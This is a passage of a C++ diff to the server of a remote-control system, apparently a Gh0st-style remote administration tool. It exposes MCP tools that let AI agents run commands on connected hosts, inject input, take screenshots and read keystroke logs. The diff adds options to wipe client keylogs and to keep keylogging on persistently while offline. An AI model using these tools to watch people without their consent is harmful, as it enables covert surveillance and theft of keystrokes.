diff --git a/server/2015Remote/McpChat.cpp b/server/2015Remote/McpChat.cpp index 2ed57c8..fbe073a 100644 --- a/server/2015Remote/McpChat.cpp +++ b/server/2015Remote/McpChat.cpp @@ -77,11 +77,7 @@ std::string OptStr(const Json::Value& args, const char* key) { return Trim(GetStringArg(args, key)); } -bool IsWindowsClient(context* ctx) { - if (!ctx) return false; - CString t = ctx->GetAdditionalData(RES_CLIENT_TYPE); - return !(t == "LNX" || t == "MAC" || t == "APK"); -} +// IsWindowsClient 来自 McpInternal(与 McpMachine.cpp、McpServer.cpp 同一份实现)。 struct HostTool { uint64_t dev = 0; diff --git a/server/2015Remote/McpInternal.cpp b/server/2015Remote/McpInternal.cpp index f8c7c63..a008377 100644 --- a/server/2015Remote/McpInternal.cpp +++ b/server/2015Remote/McpInternal.cpp @@ -173,6 +173,12 @@ context* FindMainContext(CMy2015RemoteDlg* parent, uint64_t id) { return found; } +bool IsWindowsClient(context* ctx) { + if (!ctx) return false; + CString t = ctx->GetAdditionalData(RES_CLIENT_TYPE); + return !(t == "LNX" || t == "MAC" || t == "APK"); +} + size_t BoundedStrlen(const char* p, size_t avail) { size_t n = 0; while (n < avail && p[n]) ++n; @@ -364,7 +370,7 @@ struct ToolHints { bool openWorld; // false = 只读服务端本机状态(主机列表、审计日志),不触达外部主机 }; -// 53 个工具的语义登记表。新增工具必须在此登记(漏登记 → 走默认 destructiveHint=true)。 +// 54 个工具的语义登记表。新增工具必须在此登记(漏登记 → 走默认 destructiveHint=true)。 const ToolHints kToolHints[] = { // --- 服务端本机只读 --- { "list_online_hosts", true, false, true, false }, @@ -382,7 +388,9 @@ const ToolHints kToolHints[] = { { "list_files", true, false, true, true }, { "list_services", true, false, true, true }, { "get_client_log", true, false, true, true }, - { "get_keylog", true, false, true, true }, + // get_keylog 默认只读;clear / set_offline 两个入参会改客户端状态(clear 还会删掉 + // 已落盘的记录),故按「可写、可破坏」登记。 + { "get_keylog", false, true, false, true }, { "get_screenshot", true, false, true, true }, { "list_registry", true, false, true, true }, { "download_file", true, false, true, true }, // 只读主机(写的是主控本机目录) diff --git a/server/2015Remote/McpInternal.h b/server/2015Remote/McpInternal.h index ccb7497..8d72c96 100644 --- a/server/2015Remote/McpInternal.h +++ b/server/2015Remote/McpInternal.h @@ -67,6 +67,10 @@ bool ParseHostIdArg(const Json::Value& args, uint64_t& out, std::string& err); // 在 m_HostList 中按 clientID 找在线主 context(锁内遍历 m_cs)。 context* FindMainContext(CMy2015RemoteDlg* parent, uint64_t id); +// 客户端是否为 Windows 形态(EXE/DLL/MEXE/SC/MDLL);LNX / MAC / APK 返回 false。 +// 用于「只有 Windows 客户端实现了这个能力」的判断(注册表、窗口、服务等)。 +bool IsWindowsClient(context* ctx); + // 有界 strlen:p 最多可读 avail 字节,返回 n < avail 表示遇到 '\0'。 size_t BoundedStrlen(const char* p, size_t avail); diff --git a/server/2015Remote/McpMachine.cpp b/server/2015Remote/McpMachine.cpp index 0eb6d8a..ca3486b 100644 --- a/server/2015Remote/McpMachine.cpp +++ b/server/2015Remote/McpMachine.cpp @@ -113,13 +113,7 @@ std::string OptStr(const Json::Value& args, const char* key) { return Trim(GetStringArg(args, key)); } -// Utf8ToCpExact / IsValidUtf8 由 McpInternal 提供(McpChat.cpp 共用)。 - -bool IsWindowsClient(context* ctx) { - if (!ctx) return false; - CString t = ctx->GetAdditionalData(RES_CLIENT_TYPE); - return !(t == "LNX" || t == "MAC" || t == "APK"); -} +// Utf8ToCpExact / IsValidUtf8 / IsWindowsClient 由 McpInternal 提供(McpChat.cpp 共用)。 std::string EndpointAddr(const std::string& ep) { size_t c = ep.rfind(':'); @@ -2733,7 +2727,7 @@ void AppendTools(Json::Value& tools) { props["name"] = PropStr(u8"按进程名子串过滤"); props["arch"] = PropStrEnum(u8"按架构过滤", { "x86", "x64" }); AddTool(tools, "host_list_processes", - u8"列出在线 Windows 主机的进程(主机管理「进程」标签页)。返回 PID、架构、窗口标题、路径、优先级、线程数、用户、工作集与文件大小。", + u8"列出在线 Windows 主机的进程(主机管理「进程」标签页)。返回 PID、架构、窗口标题、路径、优先级、线程数、用户、工作集与文件大小。首选:与 list_processes 同源但字段更全,并支持服务端过滤(pid / name / arch),仅在它没有出现在 tools/list 里(McpMachine=0)时退回 list_processes。", ReadInputSchemaBatch(props), MakeListOutputSchema("processes", ProcessItemSchema())); } { @@ -2741,7 +2735,7 @@ void AppendTools(Json::Value& tools) { props["pid"] = PropInt(u8"按所属进程 PID 过滤"); props["title"] = PropStr(u8"按窗口标题子串过滤"); AddTool(tools, "host_list_windows", - u8"列出在线 Windows 主机上当前可见的顶层窗口(主机管理「窗口」标签页)。只包含可见窗口,故隐藏后窗口会从结果中消失。hwnd 可用于 host_control_window。", + u8"列出在线 Windows 主机上当前可见的顶层窗口(主机管理「窗口」标签页)。只包含可见窗口,故隐藏后窗口会从结果中消失。hwnd 可用于 host_control_window 或 operate_window。首选:支持服务端过滤(pid / title),仅在它没有出现在 tools/list 里(McpMachine=0)时退回 list_windows。", ReadInputSchemaBatch(props), MakeListOutputSchema("windows", WindowItemSchema())); } { @@ -2786,7 +2780,7 @@ void AppendTools(Json::Value& tools) { props["status"] = PropStr(u8"按状态子串过滤,如 Running"); props["start_type"] = PropStr(u8"按启动类型子串过滤,如 Auto"); AddTool(tools, "host_list_win32_services", - u8"列出在线 Windows 主机的 Win32 服务(主机管理「服务」标签页之一)。返回显示名、描述、状态、启动类型、登录身份、服务名与可执行路径;服务名可用于 host_control_service。", + u8"列出在线 Windows 主机的 Win32 服务(主机管理「服务」标签页之一)。返回显示名、描述、状态、启动类型、登录身份、服务名与可执行路径;服务名可用于 host_control_service。首选:支持服务端过滤(name / status),仅在它没有出现在 tools/list 里(McpMachine=0)时退回 list_services。", ReadInputSchemaBatch(props), MakeListOutputSchema("services", ServiceItemSchema())); } { @@ -2861,7 +2855,7 @@ void AppendTools(Json::Value& tools) { hwnd["description"] = u8"窗口句柄,取 host_list_windows 的 hwnd;整数或 0x 前缀字符串"; props["hwnd"] = hwnd; AddTool(tools, "host_control_window", - u8"对在线 Windows 主机的窗口执行可恢复操作:restore(还原)/hide(隐藏)/maximize(最大化)/minimize(最小化)。动作后重新枚举可见窗口复核:hide 后 hwnd 应消失,其余动作后仍应存在。不提供关闭窗口。", + u8"对在线 Windows 主机的窗口执行可恢复操作:restore(还原)/hide(隐藏)/maximize(最大化)/minimize(最小化)。hwnd 取 host_list_windows 或 list_windows 返回的 hwnd。动作后重新枚举可见窗口复核:hide 后 hwnd 应消失,其余动作后仍应存在。不提供关闭窗口——需要 close / show 时改用 operate_window。", MakeSchema(props, { "id", "action", "hwnd" }), ActionOutputSchema()); } diff --git a/server/2015Remote/McpServer.cpp b/server/2015Remote/McpServer.cpp index 9417d39..fd18d27 100644 --- a/server/2015Remote/McpServer.cpp +++ b/server/2015Remote/McpServer.cpp @@ -42,7 +42,61 @@ namespace { // P2b 工具等待响应的超时(ms)改为运行期可配:CMcpServer::ToolTimeoutMs(),默认 20000, // 由 settings.ini 的 [settings] McpToolTimeoutMs 覆盖(见 2015RemoteDlg 的 MCP 初始化块)。 -// initialize 握手(MCP 规范:protocolVersion + capabilities + serverInfo) +// initialize.instructions(MCP 2025-06-18 起为 result 的顶层字段)。模型看不到 docs/, +// 这套服务端的「隐性知识」只能靠这里讲清楚:主机 id 的来源与形态、工具的可见性与开关、 +// 错误码对应的动作、典型任务编排、以及「一台主机同时只能有一个请求在飞」的约束。 +// 用 u8 字面量拼接:项目 /execution-charset:.936 会把普通窄字面量编译成 GBK。 +const char* kServerInstructions = + u8"这是 YAMA 主控服务端的 MCP 端点,用于读取并操作已上线的主机(被控端)。以下规则优先于各个工具的描述。\n" + u8"\n" + u8"1) 主机 id\n" + u8"id 是 64 位无符号十进制字符串,由服务端分配,无法从 IP 或计算机名推算,不要猜测、也不要把示例值当真。" + u8"需要 id 时先用 list_online_hosts(仅在线)或 list_all_hosts(含离线)取得;离线主机除 " + u8"host_set_remark、host_set_watch_level 外都不能操作。拿不到 id 就向用户确认。\n" + u8"\n" + u8"2) 工具的可见性与开关\n" + u8"tools/list 只返回当前服务端开关允许的工具:终端(terminal)、远程控制(remote_control)、" + u8"文件传输(file_transfer)、管理动作(manage)、主机管理(machine)、键盘记录(keylog)、" + u8"远程交谈(chat)各有独立开关。工具不在列表里就是不可用,直接调用返回 -32006;" + u8"当前开关状态可查 get_server_status 的 switches。只读模式(readonly=true)会挡掉大部分写工具," + u8"但只改服务端本地数据的 host_set_remark / host_set_watch_level 仍会列出,调用时才被拒;" + u8"get_keylog 也始终可见,只读模式下只是它的 clear / set_offline 参数被拒,读取不受影响。\n" + u8"同一能力存在两套工具时优先用主机管理族:host_list_processes / host_list_windows / " + u8"host_list_win32_services 字段更全(host_list_windows 支持 pid/title 过滤," + u8"host_list_win32_services 支持 name/status 过滤),list_processes / list_windows / list_services " + u8"是它们在 McpMachine=0 时的降级路径。关闭窗口只有 operate_window 能做,host_control_window 没有 close。\n" + u8"\n" + u8"3) 错误码与动作\n" + u8"-32002 主机离线或不存在:先刷新主机列表再选,不要拿旧快照反复重试。\n" + u8"-32003 主机忙:同一台主机同一时刻只允许一个请求在飞(列表、截屏、文件、管理动作共用这一道锁," + u8"文件传输会话另有一道互斥),并发重试只会继续被拒;等前一个结束,或先关闭相关会话。\n" + u8"-32004 命令未能送达主机:多半是链路瞬断,可重试一次。\n" + u8"-32005 该主机不支持这项能力:换主机或换工具,改参数没有用。\n" + u8"-32006 策略拒绝:开关未开或只读模式,重试无效,需要管理员改服务端配置。\n" + u8"-32007 不在命令白名单:换成白名单内的命令,重试无效。\n" + u8"-32008 参数被校验拒绝(shell 元字符、控制字符、多显示器等):按 message 修正参数后重试。\n" + u8"-32009 目标不存在(文件/目录等):先列一次确认目标,再重试。\n" + u8"-32001 超时:可加大 timeout_ms 重试一次;持续超时说明主机卡住。\n" + u8"-32602 参数错误:按 message 修正后重试。\n" + u8"\n" + u8"4) 典型编排\n" + u8"看主机:get_host_detail 先看 clientType 与 monitors,再决定用哪些工具;列表结果是快照," + u8"主机可能在你操作期间掉线。\n" + u8"文件:list_files 列盘(省略 path)或列目录 → search_file 按名字查找(递归深度 32、最多 1 万条," + u8"从盘符根扫描很慢且易截断,尽量指定具体目录)→ download_file 取回、upload_file 送到目标。" + u8"列表结果按 limit/offset 分页,total 是命中数、totalAll 是过滤前的总数。\n" + u8"进程排查:host_list_processes 或 list_processes 定位,kill_process 结束。这类动作没有真实回执," + u8"拿到 ok 后应再列一次复核,不要凭 ok 断言已生效。\n" + u8"GUI 自动化:remote_open 取得 session_id 与分辨率(screen_w/screen_h)→ get_screenshot 看画面 → " + u8"remote_mouse / remote_keyboard 用归一化坐标(0..1)操作 → 必须 remote_close 释放会话,闲置会话会被回收。\n" + u8"命令执行:exec_command 一次性取输出;需要保持 cd 或环境变量时用 terminal_open + terminal_exec,用毕 terminal_close。\n" + u8"\n" + u8"5) 安全约定\n" + u8"写操作前先读一次现状,动作后再用读工具复核;删改类工具的 ok 只表示命令已送达客户端,不代表成功。" + u8"涉及删除、重启、结束进程、关机等不可逆操作时,先把目标和影响范围讲给用户,得到确认再执行。" + u8"主机上可能有人正在办公,注入输入、截屏、关机都是会被察觉的动作。"; + +// initialize 握手(MCP 规范:protocolVersion + capabilities + serverInfo + instructions) std::string BuildInitializeResult(const Json::Value& id) { Json::Value result(Json::objectValue); result["protocolVersion"] = "2025-06-18"; @@ -53,6 +107,7 @@ std::string BuildInitializeResult(const Json::Value& id) { serverInfo["name"] = "yama"; serverInfo["version"] = VERSION_STR; result["serverInfo"] = serverInfo; + result["instructions"] = kServerInstructions; return BuildResult(id, result); } @@ -696,9 +751,37 @@ Json::Value BuildHostOutputSchema() { Json::Value BuildHostDetailOutputSchema() { Json::Value props(Json::objectValue); + // get_host_detail 在通用主机字段之外还补技术字段与 capabilities;schema 只声明 + // capabilities——它是「该不该调某个工具」的判据,其余字段缺声明不影响取值。 + Json::Value hostProps = BuildHostItemSchema(); + { + auto boolProp = [](const char* desc) { + Json::Value p(Json::objectValue); + p["type"] = "boolean"; + p["description"] = desc; + return p; + }; + Json::Value capProps(Json::objectValue); + Json::Value platform(Json::objectValue); + platform["type"] = "string"; + platform["description"] = u8"客户端形态:EXE/DLL/MEXE/SC/MDLL(Windows)、LNX(Linux)、MAC、APK"; + capProps["platform"] = platform; + capProps["screenPreview"] = boolProp(u8"能否截屏(get_screenshot 的前提)"); + capProps["remoteControl"] = boolProp( + u8"能否建立远程控制会话(remote_open/remote_mouse/remote_keyboard 的前提);" + u8"还要求服务端 Web 远程服务已启动(WebSvrPort>0)"); + capProps["fileTransferV2"] = boolProp(u8"是否支持 V2 文件传输(download_file / upload_file 的前提)"); + capProps["c2cPaths"] = boolProp(u8"能否按路径清单接收另一台主机的文件(copy_files_c2c 源端的前提)"); + capProps["registry"] = boolProp(u8"是否有 Windows 注册表可查(list_registry);仅 Windows 客户端为 true"); + Json::Value caps(Json::objectValue); + caps["type"] = "object"; + caps["properties"] = capProps; + hostProps["capabilities"] = caps; + } + Json::Value hostProp(Json::objectValue); hostProp["type"] = "object"; - hostProp["properties"] = BuildHostItemSchema(); + hostProp["properties"] = hostProps; props["host"] = hostProp; Json::Value schema(Json::objectValue); @@ -779,6 +862,23 @@ Json::Value BuildPagedHostListInputSchema() { return schema; } +// list_processes / list_windows:在分页参数之上再加服务端过滤(name 子串 + pid 精确)。 +// 过滤在分页之前生效,所以 total 是命中数、totalAll 是过滤前的总数。 +Json::Value BuildFilteredPagedHostListInputSchema(const char* nameDesc, const char* pidDesc) { + Json::Value schema = BuildPagedHostListInputSchema(); + Json::Value props = schema["properties"]; // 拷贝后补字段,避免直接改返回的引用树 + Json::Value nameProp(Json::objectValue); + nameProp["type"] = "string"; + nameProp["description"] = nameDesc; + props["name"] = nameProp; + Json::Value pidProp(Json::objectValue); + pidProp["type"] = "integer"; + pidProp["description"] = pidDesc; + props["pid"] = pidProp; + schema["properties"] = props; + return schema; +} + // list_processes 的 outputSchema(processes 数组) Json::Value BuildProcessListOutputSchema() { Json::Value props(Json::objectValue); @@ -1472,9 +1572,11 @@ std::string BuildToolsListResult(const Json::Value& id) { { Json::Value tool(Json::objectValue); tool["name"] = "list_processes"; - tool["description"] = u8"获取指定在线主机的进程列表(PID、映像名称、架构、程序完整路径)。通过主连接下发命令、子连接回传,一次性返回;结果按 limit/offset 分页,total 为总数。"; + tool["description"] = u8"获取指定在线主机的进程列表(PID、映像名称、架构、程序完整路径)。通过主连接下发命令、子连接回传,一次性返回。可选 name(映像名子串,ASCII 不区分大小写)/ pid(精确)在服务端过滤,过滤在分页之前生效:total 为命中数、totalAll 为过滤前的总数。结果按 limit/offset 分页。定位是 McpMachine=0(主机管理工具关闭)时的降级路径,字段较少;若 host_list_processes 出现在 tools/list 里,一律优先用它。"; - tool["inputSchema"] = BuildPagedHostListInputSchema(); + tool["inputSchema"] = BuildFilteredPagedHostListInputSchema( + u8"按映像名子串过滤,ASCII 不区分大小写(如 chrome)", + u8"按 PID 精确过滤"); tool["outputSchema"] = BuildProcessListOutputSchema(); tools.append(tool); @@ -1484,9 +1586,11 @@ std::string BuildToolsListResult(const Json::Value& id) { { Json::Value tool(Json::objectValue); tool["name"] = "list_windows"; - tool["description"] = u8"获取指定在线主机的顶层窗口列表(句柄、窗口标题、窗口状态、所属进程 PID)。一次性返回;结果按 limit/offset 分页,total 为总数。"; + tool["description"] = u8"获取指定在线主机的顶层窗口列表(句柄、窗口标题、窗口状态、所属进程 PID)。一次性返回。可选 name(窗口标题子串,ASCII 不区分大小写)/ pid(所属进程,精确)在服务端过滤,过滤在分页之前生效:total 为命中数、totalAll 为过滤前的总数。结果按 limit/offset 分页。定位是 McpMachine=0(主机管理工具关闭)时的降级路径;若 host_list_windows 出现在 tools/list 里,一律优先用它。"; - tool["inputSchema"] = BuildPagedHostListInputSchema(); + tool["inputSchema"] = BuildFilteredPagedHostListInputSchema( + u8"按窗口标题子串过滤,ASCII 不区分大小写(如 notepad);匹配的是标题不是进程名", + u8"按窗口所属进程的 PID 精确过滤"); tool["outputSchema"] = BuildWindowListOutputSchema(); tools.append(tool); @@ -1532,7 +1636,7 @@ std::string BuildToolsListResult(const Json::Value& id) { { Json::Value tool(Json::objectValue); tool["name"] = "list_services"; - tool["description"] = u8"获取指定在线 Windows 主机的服务列表(显示名、服务名、可执行文件路径、运行状态、启动类型)。仅 Windows 客户端支持;一次性返回,结果按 limit/offset 分页。"; + tool["description"] = u8"获取指定在线 Windows 主机的服务列表(显示名、服务名、可执行文件路径、运行状态、启动类型)。仅 Windows 客户端支持;一次性返回,结果按 limit/offset 分页。不支持服务端过滤。定位是 McpMachine=0(主机管理工具关闭)时的降级路径,字段较少(无描述、登录身份);若 host_list_win32_services 出现在 tools/list 里,一律优先用它。"; tool["inputSchema"] = BuildPagedHostListInputSchema(); tool["outputSchema"] = BuildServiceListOutputSchema(); @@ -1556,7 +1660,7 @@ std::string BuildToolsListResult(const Json::Value& id) { if (McpServer().IsKeylogEnabled()) { Json::Value tool(Json::objectValue); tool["name"] = "get_keylog"; - tool["description"] = u8"读取指定在线 Windows 主机的键盘记录(客户端既有键盘记录功能的输出,按行返回)。客户端连上后会先把缓冲区里已有的记录(含历史)推给服务端,之后再持续推送新击键;本工具取 duration_ms 窗口内的内容,到时间或到字节上限即停止并断开。只读;需服务端开启 McpKeylog。"; + tool["description"] = u8"读取指定在线 Windows 主机的键盘记录(客户端既有键盘记录功能的输出,按行返回)。客户端连上后会先把缓冲区里已有的记录(含历史)推给服务端,之后再持续推送新击键;本工具取 duration_ms 窗口内的内容,到时间或到字节上限即停止并断开。默认只读;可选的 clear / set_offline 是写动作(需 McpReadonly=0),在下发采集窗口之前送到客户端。响应里的 offlineRecord 是客户端自报的常驻记录开关。需服务端开启 McpKeylog。"; Json::Value props(Json::objectValue); Json::Value idProp(Json::objectValue); @@ -1574,6 +1678,16 @@ std::string BuildToolsListResult(const Json::Value& id) { maxProp["description"] = u8"最多返回的字节数,默认 65536,范围 1024-262144;超出部分丢弃并置 truncated=true。"; props["max_bytes"] = maxProp; + Json::Value clearProp(Json::objectValue); + clearProp["type"] = "boolean"; + clearProp["description"] = u8"写操作(需 McpReadonly=0):下发前清空客户端的键盘缓冲区与落盘文件,不可撤销。客户端没有回执;且它可能在收到该命令前已把缓冲区推上来,所以本次响应的 lines 不保证只含清除之后的击键。"; + props["clear"] = clearProp; + + Json::Value offProp(Json::objectValue); + offProp["type"] = "boolean"; + offProp["description"] = u8"写操作(需 McpReadonly=0):把客户端『无人在线时是否继续落盘记录』的常驻开关设为 true/false(客户端写入 kbrecord 并长期生效)。不影响本次响应已取到的历史。无回执,可再调用一次本工具看 offlineRecord 确认。"; + props["set_offline"] = offProp; + Json::Value schema(Json::objectValue); schema["type"] = "object"; schema["properties"] = props; @@ -1599,6 +1713,10 @@ std::string BuildToolsListResult(const Json::Value& id) { outProps["lines"] = linesProp; outProps["truncated"] = Json::Value(Json::objectValue); outProps["truncated"]["type"] = "boolean"; + // 客户端自报的常驻记录开关;老客户端不上报时该字段缺省(不是 false)。 + outProps["offlineRecord"] = Json::Value(Json::objectValue); + outProps["offlineRecord"]["type"] = "boolean"; + outProps["offlineRecord"]["description"] = u8"采集开始时客户端自报的离线常驻记录开关(就绪包 byte 1)。缺省表示客户端没有上报。为 false 时缓冲区里的历史只覆盖本进程启动后的在线时段。"; Json::Value out(Json::objectValue); out["type"] = "object"; out["properties"] = outProps; @@ -1799,7 +1917,7 @@ std::string BuildToolsListResult(const Json::Value& id) { { Json::Value tool(Json::objectValue); tool["name"] = "operate_window"; - tool["description"] = u8"对指定在线 Windows 主机的窗口执行操作:close(关闭)/show(显示)/hide(隐藏)/minimize(最小化)/maximize(最大化)/restore(还原)。hwnd 取 list_windows 返回的 hwnd。ok 仅表示已下发(窗口句柄可能已失效)。"; + tool["description"] = u8"对指定在线 Windows 主机的窗口执行操作:close(关闭)/show(显示)/hide(隐藏)/minimize(最小化)/maximize(最大化)/restore(还原)。hwnd 取 list_windows 或 host_list_windows 返回的 hwnd。ok 仅表示已下发(窗口句柄可能已失效)。关闭窗口只有本工具能做,host_control_window 不提供 close,且它会重新枚举可见窗口复核结果。"; tool["inputSchema"] = BuildOperateWindowInputSchema(); tool["outputSchema"] = BuildOperateWindowOutputSchema(); tools.append(tool); @@ -1846,7 +1964,7 @@ std::string BuildToolsListResult(const Json::Value& id) { { Json::Value tool(Json::objectValue); tool["name"] = "search_file"; - tool["description"] = u8"在指定主机(仅 Windows)的某个目录下按文件名搜索文件(不区分大小写;pattern 不含通配符时按子串匹配,含 * / ? 时按通配符匹配)。客户端始终递归子目录(深度 32、最多 10000 条,跳过隐藏+系统目录与符号链接),结果边搜边收集、按 limit/offset 分页;finished=false 表示到达 timeout_ms 时限、返回的是部分结果(服务端已通知客户端停止搜索)。单次最多收集 5000 条 / 4 MB,超出时 truncated=true。可选 min_size / max_size(字节)与 modified_after(YYYY-MM-DD 或 YYYY-MM-DD HH:MM:SS)在服务端做结果侧过滤,name_only=true 只返回 path 与 name;这些过滤不减少客户端搜索耗时,total 为命中数、totalAll 为过滤前条数。注意:客户端递归用无界 wsprintf 拼 MAX_PATH 缓冲,整盘/深目录搜索会栈溢出(Debug 客户端弹 Run-Time Check Failure #2 并挂住搜索线程,Release 静默破坏栈)——请只搜具体的中浅层目录,不要从盘符根开始扫。"; + tool["description"] = u8"在指定主机(仅 Windows)的某个目录下按文件名搜索文件(不区分大小写;pattern 不含通配符时按子串匹配,含 * / ? 时按通配符匹配)。客户端始终递归子目录(深度 32、最多 10000 条,跳过隐藏+系统目录与符号链接),结果边搜边收集、按 limit/offset 分页;finished=false 表示到达 timeout_ms 时限、返回的是部分结果(服务端已通知客户端停止搜索)。单次最多收集 5000 条 / 4 MB,超出时 truncated=true。可选 min_size / max_size(字节)与 modified_after(YYYY-MM-DD 或 YYYY-MM-DD HH:MM:SS)在服务端做结果侧过滤,name_only=true 只返回 path 与 name;这些过滤不减少客户端搜索耗时,total 为命中数、totalAll 为过滤前条数。注意:客户端用 char[MAX_PATH] 缓冲拼路径,超过 260 字节的路径会被静默跳过(既不记录也不继续向下递归),所以从盘符根扫描会漏掉深层结果、也更容易先撞上 10000 条上限;请尽量指定具体的中浅层目录(服务端已把 path/pattern 限在 200 字节 GBK 内,给客户端留出余量)。"; tool["inputSchema"] = BuildSearchFileInputSchema(); tool["outputSchema"] = BuildSearchFileOutputSchema(); tools.append(tool); @@ -2045,13 +2163,14 @@ void AppendHostTechnicalDetail(CMy2015RemoteDlg* parent, uint64_t devId, Json::V std::string expired = ResFieldUtf8(ctx, cp, RES_EXPIRED_DATE); if (!expired.empty()) host["expiredDate"] = expired; - // 心跳格式 "N:W*H":N=显示器数。多显示器时 remote_open/remote_* 会拒(-32008), - // 把 N 直接给出,AI 不必自己拆 screen 字符串。 + // 心跳格式 "N:W*H":N=显示器数。多显示器时 remote_open/remote_* 会拒(-32005), + // 把 N 直接给出,AI 不必自己拆 screen 字符串。老客户端没有冒号 → 0 表示未知。 + int monitorCount = 0; std::string res = ResFieldUtf8(ctx, cp, RES_RESOLUTION); size_t colon = res.find(':'); if (colon != std::string::npos) { - int monitors = DigitsOrZero(res.substr(0, colon)); - if (monitors > 0) host["monitors"] = monitors; + monitorCount = DigitsOrZero(res.substr(0, colon)); + if (monitorCount > 0) host["monitors"] = monitorCount; } std::string exeVer = ResFieldUtf8(ctx, cp, RES_EXE_VERSION); @@ -2062,6 +2181,24 @@ void AppendHostTechnicalDetail(CMy2015RemoteDlg* parent, uint64_t devId, Json::V if (!pid.empty()) host["pid"] = pid; std::string pubIp = ResFieldUtf8(ctx, cp, RES_CLIENT_PUBIP); if (!pubIp.empty()) host["publicIp"] = pubIp; + + // 主机自身的能力位:回答「这台主机能不能做」,服务端开关(McpReadonly / McpMachine / + // McpFileTransfer …)不在这里重复——get_server_status 的 switches 已经完整暴露。 + // 每一项都对应一处真实门控,改这里时要一起看向下派发:screenPreview→get_screenshot + // (SupportsScreenPreview)、remoteControl→remote_*(ResolveScreenCtrlSessionHost 的 + // 平台门 + remote_open 的单显示器门)、fileTransferV2→download_file/upload_file、 + // c2cPaths→copy_files_c2c 源端、registry→list_registry。 + CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE); + Json::Value caps(Json::objectValue); + caps["platform"] = ToUtf8(clientType.GetString(), cp); // EXE/DLL/MEXE/SC/MDLL/LNX/MAC/APK + caps["screenPreview"] = ctx->SupportsScreenPreview(); + // 远程控制只实现于 Windows / Linux,且阶段一要求单显示器;monitorCount=0(老客户端 + // 没报格式)无法判定,与 remote_open 一样按放行处理。 + caps["remoteControl"] = (IsWindowsClient(ctx) || clientType == "LNX") && monitorCount <= 1; + caps["fileTransferV2"] = ctx->SupportsFileV2(); + caps["c2cPaths"] = ctx->SupportsC2CPaths(); + caps["registry"] = IsWindowsClient(ctx); + host["capabilities"] = caps; } std::string BuildGetHostDetail(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) { @@ -2143,6 +2280,26 @@ std::string BuildGetHostDetail(const Json::Value& id, const Json::Value& args, C return BuildError(id, -32002, "Host not found or offline: " + sid); } +// list_processes / list_windows 的服务端过滤:name 是子串匹配(ASCII 不区分大小写, +// 口径同 list_online_hosts 的过滤),pid 是精确匹配;nameField 指定被匹配的字段 +// (进程看映像名 "name",窗口看标题 "title")。两个条件都没给就原样返回。 +Json::Value FilterByPidAndName(const Json::Value& items, const Json::Value& args, + const char* nameField) { + const std::string name = GetStringArg(args, "name"); + int pid = 0; + const bool hasPid = GetIntArg(args, "pid", pid); + if (name.empty() && !hasPid) return items; + + Json::Value out(Json::arrayValue); + for (unsigned int i = 0; i < items.size(); ++i) { + const Json::Value& it = items[i]; + if (hasPid && (int)it["pid"].asUInt() != pid) continue; + if (!name.empty() && !ContainsCI(JsonStrField(it, nameField), name)) continue; + out.append(it); + } + return out; +} + // tools/call:list_processes(主连接 RPC,子连接一次性回传) std::string BuildListProcesses(const Json::Value& id, const Json::Value& args, CMy2015RemoteDlg* parent) { uint64_t devId = 0; @@ -2176,9 +2333,12 @@ std::string BuildListProcesses(const Json::Value& id, const Json::Value& args, C Json::Value procs = ParseProcessList(data, cp); + // 过滤先于分页:total 是命中数,totalAll 是过滤前的总数(口径同 search_hosts)。 + Json::Value matched = FilterByPidAndName(procs, args, "name"); PageWindow page = ResolvePageWindow(args); Json::Value pageItems; - ApplyPageWindow(procs, page, pageItems); + ApplyPageWindow(matched, page, pageItems); + if (matched.size() != procs.size()) page.totalAll = (int)procs.size(); Json::Value result(Json::objectValue); Json::Value structuredContent(Json::objectValue); @@ -2226,9 +2386,12 @@ std::string BuildListWindows(const Json::Value& id, const Json::Value& args, CMy UINT cp = GetClientEncoding(ctx); Json::Value wins = ParseWindowList(data, cp); + // 过滤先于分页:total 是命中数,totalAll 是过滤前的总数(口径同 search_hosts)。 + Json::Value matched = FilterByPidAndName(wins, args, "title"); PageWindow page = ResolvePageWindow(args); Json::Value pageItems; - ApplyPageWindow(wins, page, pageItems); + ApplyPageWindow(matched, page, pageItems); + if (matched.size() != wins.size()) page.totalAll = (int)wins.size(); Json::Value result(Json::objectValue); Json::Value structuredContent(Json::objectValue); @@ -2563,11 +2726,14 @@ std::string BuildListRegistry(const Json::Value& id, const Json::Value& args, CM if (!ctx) return BuildError(id, -32002, "Host not found or offline: " + std::to_string(devId)); - // 注册表仅 Windows 客户端实现(RegOpenKeyEx 等 A 接口);LNX/MAC 无注册表。 - CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE); - if (clientType == "LNX" || clientType == "MAC") + // 注册表仅 Windows 客户端实现(RegOpenKeyEx 等 A 接口);LNX/MAC/APK 没有注册表。 + // APK 原来漏在门外:命令能下发,但客户端不会回 TOKEN_REGEDIT,只能白等到超时。 + if (!IsWindowsClient(ctx)) return BuildError(id, -32005, "list_registry is only supported on Windows hosts"); + // 注册表键路径与返回的键/值都是客户端 ANSI(RegisterManager 用 A 接口)= GBK/936。 + const UINT cp = 936; + std::string path = GetStringArg(args, "path"); BYTE rootToken = 0; std::string relPath; @@ -2583,8 +2749,7 @@ std::string BuildListRegistry(const Json::Value& id, const Json::Value& args, CM if (relPath.size() >= MAX_PATH) return BuildError(id, -32602, "Registry path too long (exceeds MAX_PATH)"); - // 注册表键路径为客户端 ANSI(GBK/936),下发前转好;rootToken 编码进 path[0] 供 OnRegeditReady 拆分。 - UINT cp = (clientType == "LNX" || clientType == "MAC") ? CP_UTF8 : 936; + // rootToken 编码进 path[0] 供 OnRegeditReady 拆分。 std::string rootAndPath = std::string(1, (char)rootToken) + ToAnsi(relPath, cp); CMcpServer& mcp = CMcpServer::Instance(); @@ -6002,6 +6167,25 @@ std::string BuildGetKeylog(const Json::Value& id, const Json::Value& args, CMy20 if (maxBytes < 1024) maxBytes = 1024; if (maxBytes > 256 * 1024) maxBytes = 256 * 1024; + // 两个写动作在开会话之前就要判定完:否则先下发 COMMAND_KEYBOARD、建好子连接, + // 再因为参数/权限问题返回错误,客户端那边已经弹起记录了。 + bool setOffline = false; + const bool wantSetOffline = args.isMember("set_offline"); + if (wantSetOffline) { + if (!args["set_offline"].isBool()) + return BuildError(id, -32602, "set_offline must be a boolean"); + setOffline = args["set_offline"].asBool(); + } + bool wantClear = false; + if (args.isMember("clear")) { + if (!args["clear"].isBool()) + return BuildError(id, -32602, "clear must be a boolean"); + wantClear = args["clear"].asBool(); // clear=false 视为不要求 + } + if ((wantSetOffline || wantClear) && mcp.IsReadonly()) + return BuildError(id, -32006, + "clear / set_offline change client state: set 